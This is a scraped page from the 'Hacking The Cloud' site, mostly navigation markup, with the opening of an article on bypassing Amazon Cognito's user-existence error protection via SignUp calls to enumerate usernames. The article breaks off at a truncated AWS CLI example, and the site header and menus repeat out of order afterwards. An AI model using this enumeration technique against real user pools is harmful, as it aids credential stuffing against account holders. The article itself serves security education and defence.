aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#example-responses class=md-nav__link> <span class=md-ellipsis> Example Responses </span> </a> <nav class=md-nav aria-label="Example Responses"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-exists class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-does-not-exist class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user does not exist </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-off-and-user-exists class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors off and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-off-and-user-does-not-exist class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors off and user does not exist </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#cognito-idpsignup class=md-nav__link> <span class=md-ellipsis> cognito-idp:SignUp </span> </a> <nav class=md-nav aria-label=cognito-idp:SignUp> <ul class=md-nav__list> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-exists_1 class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-does-not-exist_1 class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user does not exist </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#detection-opportunities class=md-nav__link> <span class=md-ellipsis> Detection Opportunities </span> </a> <nav class=md-nav aria-label="Detection Opportunities"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#cloudtrail-and-cloudwatch-limitations class=md-nav__link> <span class=md-ellipsis> CloudTrail and CloudWatch Limitations </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/bypass_cognito_user_enumeration_controls.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Bypass Cognito Account Enumeration Controls</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p>AWS Docs: <a href=https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pool-managing-errors.html>Managing user existence error responses</a></p> </li> </ul> </div> <p>Amazon <a href=https://aws.amazon.com/cognito/ >Cognito</a> is a popular “sign-in as a service” offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.</p> <p>By default, Cognito will set a configuration called <code>Prevent user existence errors</code>. This is designed to prevent adversaries from <a href=https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account>enumerating accounts</a> and using that information for further attacks, such as <a href=https://owasp.org/www-community/attacks/Credential_stuffing>credential stuffing</a>.</p> <p>While this is useful in theory, and a good default to have, it can be bypassed via <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cognito-idp/sign-up.html>cognito-idp:SignUp</a> calls for usernames. This bypass was originally reported via a GitHub <a href=https://github.com/aws-amplify/amplify-js/issues/6238>issue</a> in July 2020 and Cognito is still vulnerable as of early 2024.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>Cognito user pools can be configured to prevent disclosing user existence errors via <a href=https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pool-managing-errors.html#cognito-user-pool-managing-errors-prevent-userexistence-errors>alias attributes</a> for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below. </p> </div> <h2 id=example-responses>Example Responses<a class=headerlink href=#example-responses title="Permanent link">&para;</a></h2> <p>To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The <code>admin</code> user exists in the user pool and is the account we will be trying to enumerate.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>The <code>client-id</code> value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client. </p> </div> <h3 id=prevent-user-existence-errors-on-and-user-exists>Prevent user existence errors on and user exists<a class=headerlink href=#prevent-user-existence-errors-on-and-user-exists title="Permanent link">&para;</a></h3> <div class=highlight><pre><span></span><code>$<span class=w> </span>aws<span class=w> </span>cognito-idp<span class=w> </span>initiate-auth<span class=w> </span><span class=se>\</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#example-responses class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#example-responses class=md-nav__link> <span class=md-ellipsis> Example Responses </span> </a> <nav class=md-nav aria-label="Example Responses"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-exists class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-does-not-exist class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user does not exist </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-off-and-user-exists class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors off and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-off-and-user-does-not-exist class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors off and user does not exist </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#cognito-idpsignup class=md-nav__link> <span class=md-ellipsis> cognito-idp:SignUp </span> </a> <nav class=md-nav aria-label=cognito-idp:SignUp> <ul class=md-nav__list> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-exists_1 class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user exists </span> </a> </li> <li class=md-nav__item> <a href=#prevent-user-existence-errors-on-and-user-does-not-exist_1 class=md-nav__link> <span class=md-ellipsis> Prevent user existence errors on and user does not exist </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#detection-opportunities class=md-nav__link> <span class=md-ellipsis> Detection Opportunities </span> </a> <nav class=md-nav aria-label="Detection Opportunities"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#cloudtrail-and-cloudwatch-limitations class=md-nav__link> <span class=md-ellipsis> CloudTrail and CloudWatch Limitations </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 